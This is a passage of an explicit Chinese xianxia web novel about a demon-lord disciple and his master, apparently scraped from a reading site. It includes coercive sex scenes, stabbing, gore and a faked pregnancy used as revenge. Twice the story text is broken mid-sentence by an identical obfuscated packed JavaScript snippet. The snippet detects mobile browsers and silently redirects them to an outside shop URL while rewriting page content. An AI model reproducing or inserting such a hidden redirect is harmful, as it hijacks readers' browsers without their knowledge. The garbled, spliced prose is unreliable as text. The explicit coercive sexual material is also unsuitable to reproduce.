言罢,还真付诸行动弯腰。 两人穿过条高窄甬道。 视野豁然开朗,长明灯刷地亮起,明黄黄的一片。 空中还漂浮着数之不尽的血红的人皮灯笼,再放眼望去,前方的矮丘,满山头的坟墓涌出无穷无尽的阴煞怨念,正团团环绕住山顶那方千年寒玉棺。 周遭立着的干尸霎时跪拜叩首,密密麻麻,乌泱泱一大片,是这十年间,经陌归尘手倒下的,无一不被炼成凶煞,心甘情愿供奉自己给他们的王,未来的三界之主,尊贵的魔神殿下。 陌归尘看不到这震撼的场面,但仍是能捕捉到整个空间都似乎震上三震。 雪影随意取下一盏漂浮的灯笼,照向徒弟的脸,玉白的脸颊被镀上一层暗红的血光。 有种干净纯粹被玷|污的美。 迷人极了。 他病态地欣赏片刻,才慢悠悠带着徒弟走上金玉铺成的大道,跪在两旁的凶煞,一一恭敬跪伏在地,二人又穿过漫山遍野的长明灯,最终停在山顶的棺材前。 陌归尘只觉周遭萦绕着股散不去的阴森诡异感,如冰渣灌进骨髓,叫人脊背阵阵发凉,连带睫毛都无风颤栗。 “做什么?” “给你检查身子。” 千年寒玉做成的棺材,通体透亮无暇,还散发淡淡的凉气,是保存尸体最佳容器,更是万年难得一见的促进修为的宝玉。 宽敞棺内,空荡荡地散发寒气,陌归尘被拉进寒玉棺刹那,源源不断的煞气开始灌进躯体,又被蔷薇引吸纳,吞吐,炼化。 铺天盖地的煞气,好似在此一刻补缺回先前数个月圆之夜没吸收的煞气,简直能顷刻间将人蚕食得一干二净,若非有师尊的元阳护住经脉,陌归尘觉得自己八成要爆体而亡。 “你……到底,要干嘛?” “日后告诉你。” …… 陌归尘虽失明,但双眼还是能感知光源的,被拉进棺材后,眼前顿时陷进一片漆黑。 他不情不愿攀向自家师尊。 半个时辰后。 双手搭上棺沿,险些晕厥的人大口喘|气,正欲爬走。 藤状的东西,从陌归尘心口爬出,慢慢悠悠缠|绕四肢,黏|滑冰凉,束上腿|根,猛地一下,将青年拽回去。 又是半个时辰。 陌归尘已是人形也维持不下去,变回半猫形态,连手掌都恢复成毛茸茸的猫爪子,像两只白手套。 还被格外变|态的某人捏住粉色的猫肉垫,捧到唇边吻了又吻,也不怕亲得满嘴毛。 九条尾巴更甚。 就差没盘到对方身上。 失去视觉的人总是敏|感,其余感官更是被刻意操控、放大,加之那人本就熟稔拿捏他每一寸感观…… 此景此情下,别提有多可怕,密密麻麻的快意铺天盖地,陌归尘感觉自己天灵盖都快爽翻了。 简直要疯。 师尊更是与平日判若两人,任他连晕三次都不得停歇,求饶示弱也没用。 往日骄矜高贵的青年,此刻溃不成军,哭都哭不出来,索性也不装可怜了。 陌归尘直接掐住自家师尊脖子,抄起匕首就往对方身上捅。 于是那人来势更凶狠。 晶莹剔透的玉棺,愈渐被血雾化出连片斑驳痕迹,诡异而骇人,又混杂些淫|糜的气息。 二人肉搏几十招,剑拔弩张的氛围又变了味。 那人偏偏在最后关头停下,得了歇息的功夫,陌归尘却怅然若失讷然一下。 师尊:“喊声夫君听听。” 陌归尘:“……” 师尊:“不喊,没有。” 陌归尘:“……” 魔尊大人真的很想把压在识海里的那股磅礴修为统统释放出来,与这八百个心眼子的老狐狸痛痛快快打一场,但,转念间,还是作罢,小不忍则乱大谋。 他当然没喊夫君,只用实际行动往师尊身上小小贴近,鼻尖蹭着对方肩窝,装作一副欲|求|不|满的模样,声如蚊呐央求:“师尊……” 那人显然并不如他愿,又重复道:“唤夫君。” 陌归尘还是没喊这称呼。 雪影气定神闲把玩徒弟细软的银发:“真不叫?”他直接退出,颇为遗憾感慨,“那没有了。” 陌归尘虚虚搭在对方肩头的掌,忽而攥得死死的,真想邦邦给这死人两拳。 二人就这般无声对峙。 片刻后。 雪影一把扣起徒弟的下巴,盯着那张满是情|欲的脸,分明潮|意难退,连眼睑都缀着道绯色,仍是不肯松口,他道:“这么倔呀?” 也罢,逼迫的也不是没听过,如今,只想听那人情到浓时心甘情愿唤一声,欲速则不达,避免适得其反,他像个耐心的猎人,从容不迫打量自己的猎物。 直接吻下去。 正愁找不到发泄的契机,陌归尘腾起尖利的牙齿,就是一顿撕咬,那人却更兴|奋迎合,混杂滚滚血味与他唇|齿|纠|缠。 …… 新一轮开始时,湿透的蒙眼布条被解下,青年整双眼眸茫然失焦,浸在水雾里,显得特别清透漂亮又潋滟,本该是多么天真无害的模样,手里却紧紧攥着把染满鲜血的利刃。 雪影亲了亲徒弟含泪的眼睫。 他无奈轻叹一句:“你个小没良心的,是真要把师父捅死啊。”而后便是惩罚一般,又狠又凶。 嘴上语气却温柔到极致,格外好心问:“玉玉冷不冷?” 很反常的体贴。 陌归尘几乎瞬间便生疑,事出无常必有妖,果不其然,周遭的温度忽然更冷。 猫天生畏寒,只能循着本性往热源钻。 毕竟是从小抱到大的身体,这世上没有任何东西能比师尊的怀抱更能安抚人心。 那人含|住他的猫耳尖,嗓音如水流,缓缓流淌进耳膜,黏稠又凉滑,回荡在寒玉棺里,空灵又阴冷,还莫名暧|昧:“玉玉这是在投怀送抱么? 甚至恶|劣齿|磨一下,说着下|流又露|骨的话:“这么主动,是不是很舒服?” 陌归尘刚张开唇,那人攻其不备一阵故意使坏,叫他反驳的话,出口,变成颤|抖的低|吟。 他一时晃神,红着眼眶骂人。 “你,无耻!” 又是一通破骂。 雪影完全不恼,眉眼带着点玩世不恭的愉悦,手肘往棺边一撑,摩挲指腹,好整以暇欣赏气急败坏的小徒弟:“还有吗?” “你、混蛋!” …… 雪影就这么盯着那张红艳滴血的唇,一张一合,待人骂累了,微微张嘴呼吸间隙,再一个吻堵上去,粗|暴蹂|躏。 陌归尘被死死扣住脑勺。 当然,他也不遑多让,抄起匕首就是连扎自家师尊几下,喷洒的热血溅来下颔,暖融融附着肌肤,却更能唤醒埋藏心底的那股亢奋。 叫人不由自主吞咽。 只恨那血喷涌得不够多。 不知多久后,那人抬起手,伸到他耳边, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13936087|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很快,陌归尘便听到几滴水珠坠落的滴答声。 师尊话调狎|昵散漫:“有什么不好承认的?” 他戏谑调笑:“为师的手都湿了。” 陌归尘不耐烦推搡:“恶心。” “不恶心。” 那人说着更是直接含进嘴里,吞掉残留的那一点点水迹,回味无穷道,“甜的。” 陌归尘腹诽,变|态。 而后又是一个吻。 待他险些被窒息感溺毙时,师尊才慢悠悠松嘴:“教了这么多次,都不会换气。” 陌归尘已经听不清了,努力睁眼,还是混混沌沌,整个人砸倒在自家师尊怀里。 那人显然还不打算放过他,捻起他的后颈皮:“为师真的很难不怀疑,我们玉玉到底是学不会,还是不想与我接吻?” 紧接着一语道破:“可你的身体分明是依恋为师的,那么就是你的心出了问题。” 陌归尘被亲得七荤八素,只觉周遭声音忽远忽近,迷离恍惚吐息,还没喘顺几口气,又被某人抵在棺材角,承受一个富于技巧的,含着薄怒的冰凉的醋吻。 最后彻底不省人事。 * 与此同时,碧海阁。 少年模样的人,不厌其烦看着水镜,那是摄魄术搜来的画面,这十年间,他一遍又一遍细看,生生熬坏一双眼,可那又怎样,只要能寻到师姐七魄的蛛丝马迹,他不介意,什么都不介意,哪怕明知施行重聚三魂七魄的术法乃逆天而为,轻则经脉尽废,重则遭反噬而性命堪忧。 他只要师姐能平安回来。 说好要长命百岁的,怎么可以中途食言呢! 二竹弋收好邪神之心,又一次从碧海阁禁地走出来,他静默瞥向少年,那人竟还站在水镜前,便是轻叹了声:“我上次不是提醒过阁主,用心感受么?” 少年一愣。 满目愕然呆住。 思忖再三,二竹弋还是低声道:“归云真人也是八字纯阴的阴生子,当年她留下一瓶心头血,说日后也许能派上用场,那瓶血一直被华掌门收着,我言尽至此。” 没等对方搭话,二竹弋一言不发离开。 少年木然目送二竹弋离去,也沉默半天,他那师伯与归云真人兄妹情深。 他当年曾打碎归云真人的遗物,一盏普通的灯,就已被罚得只剩半条命,若非有青栀师弟把责任全揽走,他怕是早就死了。 心头血珍贵无以复加。 师伯又素来对他嗤之以鼻,能割爱相赠么? 少年哑然许久。 他低头抚上自己心口,微微失笑,最终走进禁地,继续研究重聚三魂七魄的术法。 * 另一边,师徒二人从寒玉棺出来,已是次日夜深。 铺天盖地的煞气不见踪影。 青年锦袍松松散散套在身,整个人湿|透,如刚从湖中捞起,连锁|骨都挂着几滴水珠。 途中,陌归尘昏昏醒醒好几次,最后还是晕倒。 看着徒弟又一次晕倒,雪影无可奈何笑了笑,心情甚好道:“好了,放过你吧。” 而后替自己这金尊玉贵又柔弱可妻的小徒弟细细擦掉汗珠,又捏出个清洁术,最后帮对方换上一身干净漂亮的新衣裳。 他指尖捏起徒弟下巴,端详片刻,心间无端腾出点不合时宜的良心,让他破天荒地放过这张被蹂|躏得红|肿泛|滥的唇。 拇指摁上对方的唇珠,揉捏一下,才开始替人消|肿,又凝视徒弟腰身,眼底涌出股痴迷的扭曲快感。 爱怜抚过本该平坦的小腹,不足两月的肚子,此刻微鼓如三月显怀。 他餍足收手,不紧不慢抱起自己的道侣,如获世间至宝,乘着月色离去。 回到魔宫护法殿。 路过侧殿时,似还能想起当初用左手提笔写下的书法: 【卿卿如晤】 再落款:二竹弋。 小徒弟果然聪慧,看了几眼便发现端倪,拼出个自己心心念念的“笺”字,找人对峙。 而他养的那条好狗,竟还真敢向小徒弟透露信息。 雪影捏捏徒弟腮帮:“我们玉玉可真招人稀罕呀。” 他也不管陌归尘能否听见,挽起抹邪魅狂狷的笑,耐人寻味道:“为师也非寡情薄义之人,到底也辅助你这么年,没有功劳也有苦劳,当然要好好留他一条狗命,不然都没人这么热衷于替师父说好话,你说对吧?” 雪影迤迤然来到主殿。 整座宫殿忽而如幻境破碎,露出原本模样。 他低头垂视怀中人。 小徒弟一定不知道,自己天天跑来静坐的护法殿早就被自己的师尊粉碎,再用移形换影的术法,把魔神殿的寝宫移花接木到此。 更不知道,自己回回托腮发呆时,师尊其实就在暗处,一动不动欣赏着那一颦一笑。 又或者,偶尔困倦之下倚靠而睡的墙角,其实是师尊的胸膛,诸如此类情况,太多了。 他笑着喟叹。 真是个可怜的小傻瓜。 65.师尊医术天下无双 65. 是夜,月明星稀。 长街转角走出名男子,男子目光忽而落在某街铺门外的一个小摊,望向摊位上模样别致的糖,眼前无端飘过抹风华绝代的红影,二竹弋怔怔出神许久。 摆摊的大娘也感知到有人望来,抬头瞧去,但见位玄袍金冠的男子,正直直看来。 那人衣着华贵,面容俊美无俦,满身气质往人群一站,简直叫人挪不开眼,八成非富则贵,世家公子哥儿偶尔馋街边小吃也不是不可能。 思忖间,大娘殷切朝二竹弋招手,推销:“这位公子,粽子糖免费试吃,不甜不收您银钱。” 二竹弋敛神:“粽子糖?” “是,这糖形状如粽子而得名,里面还有松仁哩,香松酥脆。”大娘笑意盈盈递去一颗糖,“您尝尝,包甜的。” 原来这糖名为粽子糖,二竹弋不喜甜食,甚至有些厌恶,迟疑片刻,还是情不自禁接糖。 尝了口,果然齁甜。 男子蹙眉放下糖。 又止不住想到那位青年。 他从未见过像陌归尘那般嗜甜如命的人,兜里十年如一日揣上袋粽子糖,时不时吃几颗。 如今细想。 大抵是心里苦吧。 二竹弋心神微乱回到护法殿大门时,方惊觉周遭流光浮动,竟是立起道屏障,将此地与整座魔宫分割开,割裂异常。 他抬头瞧去匾额。 早已不是护法殿三个字。 殿外结界没刻意拦他,可他又岂敢乱闯主子寝宫。 这样的惩罚,果然比体罚叫人难受百倍。 “护法大人。” 路过的几名守卫并未能识破眼前障眼法,若无其事向他们尊贵的护法大人问好。 二竹弋淡笑颔首。 男子停顿片刻,像只无家可归的小狗,转身离开,却不知该去往何方,便碾转徘徊在魔宫。 魔宫占地广阔,二竹弋漫无目的来到处暖阁,阁外庭院稀稀疏疏窝着几只猫。 那猫看见来人,立马殷切跑来讨吃,生怕这些猫又如上次那般叼着肉干就跑,二竹弋放下猫食便退开,只身坐到角落,默然无声盯着几只猫进食。 最后掏出颗糖,吃进嘴里。 * 陌归尘醒来时,只觉周遭萦绕股陌生却奢华的气息。 他面向房中另一人问:“这是哪?” “我们的寝宫。” 简单几个字,陌归尘已了然,自己如今身处魔神殿的寝宫,他掀开被子,翻身下床:“我不要进来。” 师尊走来,握上他手:“爱也好,恨也罢,该做的不该做的,你我师徒全都做了,如今,连孩子都已怀上,玉玉还要与为师倔吗?” 那人又语重心长补充:“你就这么喜欢当小鳏夫?还要你的孩子当遗腹子?己所不欲,勿施于人。” 陌归尘哑然,定定呆住半晌,似在自我挣扎,终于不情不愿小小挪回迈出的脚步。 平日桀骜不驯的青年低垂脑袋,因着还没显怀,那道身影一如既往清瘦单薄,却下意识撑腰,另一手则抬起,抚摸上自己平坦无赘肉的小腹。 连带冷硬的眉骨难得化出抹柔情,温情脉脉挽起个淡笑。 雪影刹那微怔。 他还从未见过这般神态的徒弟,实在妙不可言。 此一刻,他确实打心底佩服闻笺,倘若没有那人在这十几年来的谆谆教诲里,给对方血脉注进难以磨灭的品性,便不会让这一瞬的柔情,显得如此难能可贵,惹人注目。 只能用毫不相干的八个字来形容:剑胆琴心,侠骨柔情。 视线移落对方肚子,雪影也情不自禁莞尔一笑。 青年再抬眸时,已恢复往日的冷傲,轻哼道:“为了孩子而已,你少自作多情。” 雪影含笑揉揉徒弟脑袋,伺候对方歇下:“是是是,为孩子而已。” 他起身:“那以后便睡这吧,宽敞些,于你有益。” 走出几步:“好好养胎。” 又停下,回眸,伸出食指,隔空点点榻上的小徒弟:“别想逃,不然——”白衣男子语调轻扬,不疾不徐道,“你知道的,为师可不是什么好人。” 雪影一步三回头,再三确定自家小徒弟没憋坏水,方才心满意足撩起帘子,打算出门。 身后人忽地一个鲤鱼打挺。 坐起来问:“你去哪?” 玄胤仙尊当了这么多年医修,自然清楚孕中人情绪不稳,敏感多疑,然而当惯是傲娇的小徒弟破天荒地主动问他去哪,哪怕早有预料,还是愉悦无比退回来安抚对方。 “炼药,给你治眼睛。” 陌归尘不以为意:“别徒劳了,治不好也罢。”看不见也挺好,自欺欺人起来更方便。 这话落在自家师尊耳中,似乎却演变成另一层意思:“我们玉玉如今都学会安慰师父了?看来这孩子的到来可真是为师的小福星。” 说话间,那人还凑低头,极尽温柔亲吻一下他的腰腹,感慨:“两个小福星。” 陌归尘轻嗤,没接话。 师尊:“没事,治不好,就把天下人的眼睛全挖下来,给我们玉玉炼制一双独一无二的眸子。” 陌归尘:“那我原本的眼睛呢?” 哪怕并无抽筋发力等早孕反应,师尊还是很自然抬起他小腿,晾到自己腿上慢条斯理按摩,这个动作让人很顺理成章靠过去。 陌归尘也不排斥,就这么枕在自家师尊肩头。 听着那人回话:“这么漂亮的眼眸,扔掉着实可惜,自然要用来给为师泡茶喝。” 陌归尘:“……” 陌归尘不留情面道:“变态。” 师尊笑吟吟侧下头,与他脑袋挨着脑袋,捏捏他鼻尖:“逗你的,不泡茶。” 魔尊大人总觉哪里不妥,果不其然,下一刻,他便听对方道:“还是生吞比较原汁原味。” 陌归尘:“……” 陌归尘一如既往刻薄:“大变态。” 一炷香时辰后。 雪影端着药碗进来,身后还跟着不少捧着膳食汤羹的婢女。 陌归尘被师尊扶着落座,听那人道:“空腹喝药伤胃,先用点膳。” 两人相拥而坐,青年吃着吃着,氛围莫名开始微妙。 终于,他也被自家师尊搂到腿上吃了一顿。 陌归尘乐意奉陪,恨不得骗走师尊全部元阳,毕竟那可是实打实的修为。 喝完药后,师尊松开探过他脉搏的手,指尖划过他微鼓的小腹:“最近是不是又偷懒了?修为怎么没涨多少?” 陌归尘觉得痒,往后瑟缩一下,被人重新捞回来,那人竟难得操起丝为人师表的肃穆,低声提醒道:“双修功法,犹如逆水行舟,不进则退,好好修炼,切不可偷懒,得空了多掐几遍诀。” 陌归尘不痛不痒“哦”了声。 师尊屈指点点他脑门,无奈笑道:“认真点,师父能害你不成?” 陌归尘不服气撇嘴。 雪影从背后抱着徒弟哄睡:“你师伯他们说得对,我这哪是养徒弟,简直是养了个小祖宗。” 他揉揉徒弟发丝:“打不得,骂不得,分明是自己理亏,还要师父来哄。” 话未完,猛然被徒弟的手肘撞了一下胸膛,力度还挺大。 他低声笑了笑:“你还不服气是不是?” 话音刚落,藏在被窝里的猫尾,不耐烦地抽了他两下,因着是带有灵力的,整个腿部都迎来阵钝痛。 “自己理亏,还敢抽师父。” 雪影无奈叹息,顺着徒弟的尾根往那团软肉拍了一巴掌,“是不是想气死师父过清明节?” 预料之中,又被非常不服管教的徒弟用尾巴连抽几下,一下比一下狠,若是换个人来怕是挨第一下时就已瘫痪在床了。 如此几个来回。 当年杀尽满天神佛都不带手软的邪神,面对自家徒弟时,竟束手无策得有点头疼。 虽说孩子很健康,但到底顾及对方有身孕,且自己也不想真打疼这娇贵的徒弟,奈何对方又实在顽劣,无可奈何之下,只能进入徒弟识海,摁着对方的神魂狠狠教训一顿。 小徒弟终于老实得一动不动。 因为晕过去了。 * 这一觉,陌归尘睡得日上三竿,慢悠悠爬起来,摸索半天。 这魔神殿寝宫,且不说师尊怕他磕到而在地面与各个尖角铺上的软垫有多价值连城,竟连最不起眼的壁灯都是万年夜明珠制成的,若在凡间拉个七老八十的大爷来照一照,怕是都能返老还童,简直比修士们挣破脑袋的驻颜丹还要百倍奏效。 可谓是娇养。 行走间,陌归尘突然感觉有阵风扑向自己,很诡异的感觉。 他滞涩一顿,那阵风已消失得无影无踪,倒是让他想起,那日在合欢宗附近的那个府邸,跌落婆娑遗梦的湖边,他貌似也曾遇到这种诡秘古怪的风。 “好端端的,怎么来到窗边了?”殿中响起熟悉的声音,唤醒出神的人,陌归尘刚要转头,那人已熟稔从后怀抱住他。 “想看看么?” 师尊话毕,指尖摁在他眉心,与他共享视野。 眼前顿时一片清明,陌归尘方知此处虽为地下神宫,但又被人用术法投到云顶,仿佛如座云顶天宫,放眼窗外,能俯瞰万里河山。 他伸出手臂,还能碰到云烟与飞鸟,倒是有些微妙,叫人情难自禁微笑。 酒窝被人轻碰一下。 “我们殿下笑起来真好看。” 陌归尘:“……” 他顿时敛起笑意,退回桌沿坐下,心不在焉用膳。 那人跟来:“不笑更好看。” 陌归尘蹙眉:“你有病?” 师尊仍是笑意盈盈接话:“骂起人来最好看,再骂两句听听?” 陌归尘端起汤碗的手一紧,真想当场泼过去,又怕自家师尊会爽到。 …… 这两日,陌归尘都待在寝宫,反正猫本来就慵懒嗜睡,不让他出去,还正中他下怀。 雪影则事无巨细照料自家道侣,哪怕徒弟总一副鸡蛋里挑骨头的刁难模样,也是任劳任怨任人驱使,好生伺候着。 两人偶尔玩些小游戏解闷。 譬如此刻,二人正拥在书案前,陌归尘半坐半倚在案沿,整个人漫不经心的,被困在自家师尊两腿中间。 那人岔开腿坐在椅上,指尖在砚台扫过,蘸上墨汁,在他肚皮作画,然后又自己清理干净,简直有大病,是的,异食癖怎么不算病呢。 但凡从他身上搜刮下来的东西,他家师尊都是一副荤素不忌的模样,照单全吃。 那人又开始重新画,还让他猜,陌归尘看不到画的是何物,只能依稀凭感觉判断,猜错一次便被抱上书案搓磨一顿。 其实他早就知答案是只猫。 但他就是故意乱答的。 这场游戏,亦慢慢变了味,两人看似争锋相对,实际各怀心思,乐在其中。 十几轮后,两人都有些倦,那人越亲越往下移。 陌归尘警惕抵住对方脑袋:“做什么?” “胎教。” 青年愤愤低骂,变态。 …… 看不见,又是孕中人,双重叠加,碰一下摸一下都极为敏|感,青年胡乱摆动的手还不小心撞翻案角的砚台。 哐当一声,砚台粉碎。 陌归尘也顾不得这方砚台,齿尖咬住沾有墨汁的指,方能不发出细碎的呜咽声。 但砚台落地的声音却惊动门外的婢女。 婢女忧心敲门:“尊主,发生了何事?” 门外又是敲门声:“尊主?” “尊主?您可还好?” 女声越发焦急,似乎下一瞬便要破门而进。 不可否认,这幕确有些刺激,但刺激过头便不好玩了,陌归尘狠狠抓住罪魁祸首的发,猛地将人拽开。 他深深呼吸几下,稍稍平复回原本声色,才道:“无事。” 这话才完,指骨忽而被股暖热包裹住,还湿湿濡濡的。无端叫人脊背一阵颤栗。 竟是那人就这么就着墨汁,含住他的手指。 门外婢女松气:“尊主,朝会快开始了,大家都在候着。” 又耽搁了些时辰。 魔尊大人终于双脚沾地,拾掇一翻,正欲状若无事出门。 雪影一把将人拥回怀里,变出根白色绫段。 青年的眼尾仍缀着道潮红,像抹潋滟风光,烈如火,艳如霞,这般模样岂可让旁人欣赏,他带着浓重的独占欲眯眸,给对方覆上雪白布条,遮住这抹独特景致,方不紧不慢牵上徒弟出门。 九幽魔殿。 恭候的人群终于瞧见魔尊大人被仙尊搀扶着走上高座。 一只雉鸟朝旁边的兔子精八卦道:“你有没有发现尊主的腰好像胖了一圈。” 兔子精一巴掌呼过去:“你作死啊,敢盯着尊主肚子看……看看你别说,好像整个人都圆润了些,我家娘子怀孕时也这模样,走路也要扶。” 狐獴怪义正词严:“你俩少胡说八道,咱们尊主一个大男人怀什么怀,再乱嚼舌根,仔细让尊主听见,叫你们人头落地。” 恍惚想到陌归尘当年曾血洗魔界的场面,几只妖魔顿时噤若寒蝉。 见陌归尘落座,一名妖族长老立马出列:“尊主,仙门那边似乎又齐聚一堂,密谋大事。” 陌归尘淡声问:“聚在哪?” 妖族长老:“浮华派。” 陌归尘皱眉颔首,藏在袖中的手悄然掐出个诀,那边没有回应,看来他放出的傀儡应该没被发现。 便是道:“继续。” 妖族长老又恭敬回禀:“据咱们的探子来报,他们是想在三月初七那夜,借七星连珠的力量,攻破魔界入口,荡平魔界。” 此话刚完。 殿中已有不少人失笑:“不自量力,简直痴人说梦话!” 陌归尘没说什么。 确实如此。 莫说是七星连珠,哪怕是九星连珠,也伤不了师尊半根手指头,且他总觉哪里不对劲儿,仙门这一遭,怕不是又在替某人做嫁衣。 陌归尘情不自禁侧眸。 以他对某人的阴险程度之了解,他笃定,这绝对涉及师尊的计中一环。 看来,他得拉快破魔宫结界的进程。 思索间,陌归尘被碰了碰额角,对方颇为无辜叹息:“殿下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13954368|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别用这副神情看我,搞得你师父像个吃人的恶魔似的。” 陌归尘:“不像。” 那人道:“哦?” 陌归尘:“你根本就是,还吃人不吐骨。” 雪影也没在意徒弟大逆不道的讽刺,只含笑理了理对方鬓角的发丝:“明日便是三月三,殿下想去哪玩?乐意伴驾。” * 三月三,上巳日,夜。 因着昨晚,二人闹腾没个消停,白日里,陌归尘又赖着不肯起,哄也不管用,还拿枕头砸人,便没出门。 两人坐在魔宫屋顶。 静默无言片刻。 雪影从身后变出一株花,送到陌归尘手里。 他指尖也顺势点上徒弟额头,施诀共享视野。 瞬间,数以千计的花灯飘起,占据整个夜空,伴随着星月互相辉映,流光皎洁,绚烂无比。 陌归尘低头看了眼。 是芍药花。 维士与女,伊其相谑,赠之以勺药。 是离别礼物。 亦是定情信物。 青年指腹莫名一紧,轻微的裂声被风吞噬。 陌归尘举起花:“这花,枝节错位了,我不要。” 雪影无奈失笑:“我们玉玉这么追求完美?”他接回花枝掰断末端的枝梗,重新递出去,“这下,可以么?” 陌归尘没接。 他转回视线,目视前方。 庭院中有棵高大的树,长得很怪诞,树冠茂盛,但仔细往下看,能望见两条粗壮的树干是错位的,投落到地面的影子,看似相拥,实际交叉错开,有种想要拥抱对方,却只能失之交臂的抱憾感。 陌归尘淡声道:“错位,就是错位,掰断它,只是在自欺欺人。” 言罢,自顾自跳走。 孕中人本就敏感多疑,加之小徒弟平日也没少使小性子,雪影只好紧随其后,快步去追惯爱耍小脾气的道侣。 “去哪?” 徒弟没理人。 他笑了笑:“跑慢点,小心碰着。” 还是没理他。 还砰地一下摔上门。 在徒弟那碰了一鼻子灰的玄胤仙尊完全不恼,放下身段敲门:“到底怎么了?我哪里惹殿下不痛快?” 他耐着性子:“师父愚笨,还请殿下明示,不然都不知怎么哄你了。” 他敲敲门:“玉玉?” 又敲:“玉玉宫主?” 再敲:“宫主殿下?” 吱呀—— 门被敲开了。 雪影踏进去,环顾四周,终于在面落地铜镜前找到生闷气的道侣。 “到底怎么了?” 他从青年背后探头看人:“谁惹我们殿下不痛快?师父带你去出气,挑断他筋骨,把他大卸八块,再剁碎,做成人肉包子,喂给他们亲人。” 镜中青年斜觑他一眼。 没说话。 雪影颇为头疼,只好轻轻拥住自家道侣,也陪着人不说话。 他的手刚好环到陌归尘的腹部,那处不鼓,但这肚皮就是莫名软绵绵的,触感似水亦似棉花更似上好的云锦,越摸越叫人上瘾。 陌归尘也垂眸,看着揉在他腰腹的手,没阻止,大抵是早就在习以为常,毕竟对方素来变态,连巫山云雨时,也爱不释手,边哄他坐下来边轻柔抚摸。 大抵是他的孕肚又把师尊的变态欲挑起,摸着摸着,那份温情忽而就变了味。 青年被拦腰抱到旁边矮柜。 师尊站在他双腿中间,搂紧他,埋落肩窝嗅嗅:“怎么这么香?” 陌归尘抿唇不语,他才不会告诉对方,九尾一族的天赋可以释放信香,引诱他人情动,交合过程中吃掉对方增长修为。 不过他们从不轻易使用这种卑劣的方式增进修为,但,他如今面对的是自己的敌人。 正如这人教导自己“对敌人仁慈,就是对自己残忍”。 “特地熏的?好别致。” 陌归尘不语,落在他人眼中,却成了个变相默认。 师尊笑而不语,深嗅几口才道:“我们玉玉如今竟也开始花起心思来,学这些勾人的小手段?你想要,为师什么不给你? “果然,这两个孩子来得太对了。 “我很高兴,真的。” 雪影指尖抚过陌归尘鬓发,又轻柔亲吻徒弟眼尾,下巴抵住对方脑袋,含情脉脉道:“我爱你。” 最后三个字落地。 陌归尘反撑在案面的尾指几不可察动了一下。 对方又问:“玉玉有没有想好给孩子取名字?” 陌归尘:“没。” 他又没真的怀上,取什么名字,一切不过是算计,既是为伤对方而削弱结界能量,也是报复对方的手段。 最幸福时,给上最致命一刀。 师尊还埋首他肩窝,自然看不到他唇角的笑,师尊,是你教我的,要以其人之道,还治其人之身。 所以也请你好好尝一尝手刃至亲的滋味。 陌归尘主动环抱上对方。 医者不自医,应该很痛吧? 大抵是因他主动拥抱,师尊欣喜反握他手,轻轻亲了亲他指尖,和声细语宽慰:“不急,离临盆还早,我们慢慢想。” …… 殿中灯火熄灭些许。 床幔落下。 不知多久后。 “疼……” 这些年从未喊过疼的青年,忽然低低喃声,“师,师尊,疼……” 雪影动作一顿。 反扑的绞痛,生生将五脏六腑都往外扯,让他感知到徒弟确实身子不妥。 他撑起身望去,底下人眼角滑出几滴泪迹,脸色煞白,眉骨洇出阵阵冷汗,本该红艳的唇,血色尽褪,虚弱翕动几下:“疼……” 素白的指颤颤巍巍往下摸。 雪影顺着徒弟的手看去,软褥上不知何时沾上点落红。 他连忙退出来。 霎时,带出一片刺眼殷红。 腿根热流如潮水涨出,陌归尘看不见,但他知道是鲜艳无比的红,特别扎眼的红。 无端的,他想到除夕那日。 自己换上闻笺亲手绣的大红喜服,穿过一片大红灯笼,强行给闻笺换上同款的红色婚袍,在满室红色烛光里,听闻笺低斥他不讲道理,再嬉皮笑脸地拥住对方入睡。 后来,他们没能拜堂成功,那个人死在除夕夜,亦是他们大喜之日的前一晚,终究没能与他跨过新的一年。 但他,早已将他当成此生挚爱,唯一的夫君。 杀师之仇,不共戴天。 杀夫之恨,不共日月。 耳边声音混沌而起,陌归尘终于清醒些许,回到现实。 他听到关心则乱的人在喊:“魔医,宣魔医!” 他看不见,但他想,自责、愧疚、痛楚、扼腕、不可置信……那些数之不尽的神情,瞬间涌上这张云淡风轻的脸,应该很精彩吧。 他觉得还不够。 似乎还差一剂狠药。 陌归尘冰凉的手心摸上对方脸颊,无辜凄然,气若游丝道:“你不就是医修吗? “师尊医术天下无双,连你也救不回我们的孩子么?” 66.去见……你想见的人 66. 血流不止。 陌归尘有些脱力而坠了坠手:“师尊。” 那人连忙接住他掌,牢牢握紧,另一只手抚来他脸颊。 陌归尘从未有此刻这般清晰感觉到,原来师尊的手也会有压抑不住的颤抖,那人手心的温度比他还凉得彻骨。 却安慰着他:“别怕。” 那人重复道:“别怕,有师父在。” 连嗓音都在发抖。 半分也不像他那个玩弄万物于股掌之间的师尊。 青年却无动于衷,喃喃的自语,化作刀子,绞进对方胸口,字字诛心:“‘好’,我们的‘好’,没有了。” 下一刻。 他听到阵压抑的剧烈咳嗽声,大口大口的鲜血,哪怕被被人刻意捂住唇,还是猝不及防从指缝间喷出,撒到他腿上,混进原本的污迹。 那一瞬,对方溃散的气息,看起来比他这个“小产”的人还虚弱百倍。 …… 